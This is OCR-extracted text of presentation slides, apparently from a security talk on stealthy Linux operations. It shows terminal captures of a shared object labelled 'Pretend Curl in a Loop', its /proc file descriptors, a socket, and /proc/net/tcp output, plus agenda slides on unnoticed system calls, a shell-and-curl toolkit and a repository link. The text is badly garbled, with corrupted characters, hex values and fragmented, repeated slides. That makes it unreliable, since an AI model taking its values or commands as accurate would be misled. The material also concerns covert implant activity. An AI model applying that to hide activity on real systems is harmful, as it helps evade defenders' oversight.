5: B4DOTI0A:9030 A500TI0A:1151 01 OOEDOGEA:00M0BI0E 02 :DOGBOSIM POAGEHI0 @ @ EB345 3 S0DOOIOB49657dbE 29 4 31 18 -1

1,1 All
T EEEEE————j=—
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anime_costume_cheese.so - Pretend Curl in a Loop

o] @ vim - File Descriptors and Metwork Sockats o
+ 1z -1 fproc/1/fd /proc/1251/Fd
Sproc/lsid:
total @
lrwx------ 1 root root 64 Nov 19 22:58 @ -> Jdev/null
Lrwx------ 1 root root 64 Nov 19 22:58 1 -»= Sdew/mull
v SMLP. ..
lP-x------ 1 root root B4 Mov 19 23:90 129 -> pipe:[8847]
- STLPL ..
lrwx------ 1 root root 64 Nov 19 22:58 2 -» /dev/null
s o SOAP. <
Lrwa====== 1 root root 64 Nov 19 23:02 35 -» socket:[BE45]
.y £ TR
Jproc/1251/fd:
total @
ir-®------ 1 root root 64 Nov 19 23:04 @ -> pipe:[8846)
e 1 root eoot 64 MNov 19 23:04 1 -» pipe:[8B47]
1-wx------ 1 root root 64 Nov 19 23:94 2 -> pipe:[8847]
+ cat
sl local_address rem_oddress st tx_gueue rx_gueue tr tm->when retrasmt  uid  timeout inode
co SRy
5: B4087204:9030 @5007204:1151 91 DOGDO0O0:0DODI0E 02 DOGSOSHH D0BALO0E @ @ EB345 3 S0DOOIOB49657dbE 29 4 31 18 -1

1,1 All
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anime_costume_cheese. so - Kas play

o] @ vim - File Descriptors and Metwork Sockats

+ 1z -1 fproc/1/fd /proc/1251/Fd

Sproc/1/fd;
total @
lrwx------ 1 root
Lrwx------ 1 root
. .sntp...
lr-x------ 1 roct
- STLPL ..
Lrwy====== 1 root
snip
Lrwx====== 1 root
snip
Jproc/1251/fd:
total @
Lp=x-—==— 1 root
Lati=nman= 1 root
1-wa-===-= 1 root
+ Cat

root 64 Nov
root 64 Nov

root b4 Nov

root 64 Nov

root 64 Nowv

root 64 Nov
root B4 MNov
root 64 Nov

19
139

19

19

19

19
19
19

sl local_oddress rem_oddress

o AP, :

5: B4087204:9030 @5007204:1151 91 DOGDO0O0:0DODI0E 02 DOGSOSHH D0BALO0E

22:58 @ -» Sdev/rull
22:58 1 -> /Sdev/null

23:00 129 -» pipe:[8847]
22:58 2 -> Sdev/null

23:02 35 -» socket:[BE45]

23:04 0 -> pipe:[8846]
23:04 1 -> pipe:[BB47]
23:94 2 -» pipe:[8847]

st tx_queue rx_queue tr tm->when retrnsmt

utd timeout inodae

a

@ BB45 3 P0BQOBOB49657dbE 29 4 31 18 -1

1,1

R

All
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anime_costume_cheese.so - Sys

®  ® vim - Fila Descriptors and Matwork Sockats
|+ 1s -1 /proc/1/fd /proc/1251/Fd

Fproc/1/fd;
total @
lrwx-==-== 1 root root B4 Mov 19 Z72:58 @ -> Sdev/null
Lrwk-——--- 1 root root 64 Nov 19 22:58
smip.
Lr=f=—e——= 1 root root 64 Mov
..5nip... o ¥ TR 5
rw—--~= 1 root root § tl;dr - Who cares who
vo nSOAP. . : : _ ,
Ao 0 makes the syscalls?
Jproc/1251/fd:
total @
ir-®------ 1 root root &4 Mov
l-wa--=---= 1 root root 64 Nov
L=i====== 1 root root 64 B
+ cat
sl local_address rem_g ®_queue tr tm->when retrnsmt  uid node
.Snip
5: B4DOTI00:9030 @500 QODOBA0R 02 :DAGBASTN M0G0 @

1,1

d -HTTPS-> Us

B345 3 Q00000OR49657dbE 20 4 31 18 -1
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1. Definitions
a. Linux ops: A series of system calls
plus monospaced text
Stealth: Unnoticed system calls

. c. Easy Linux ops: System calls
tI y d r without being fussy about tooling
| 2. 90% toolkit
One last time... a. Shell
b. Curl

3. The other 10%

a. Whatever else works
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tl;dr - The important
thing is the syscalls

s: A series of system calls
pspaced text
Innoticed system calls

asy Linux ops: System calls

thout being fussy about tooling
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Thanks :)

Questions?

4t M

Code: github.com/magisterguis/lutlol




Thanks :)

No time for questions :(

Code: github.com/magisterguis/lutlol




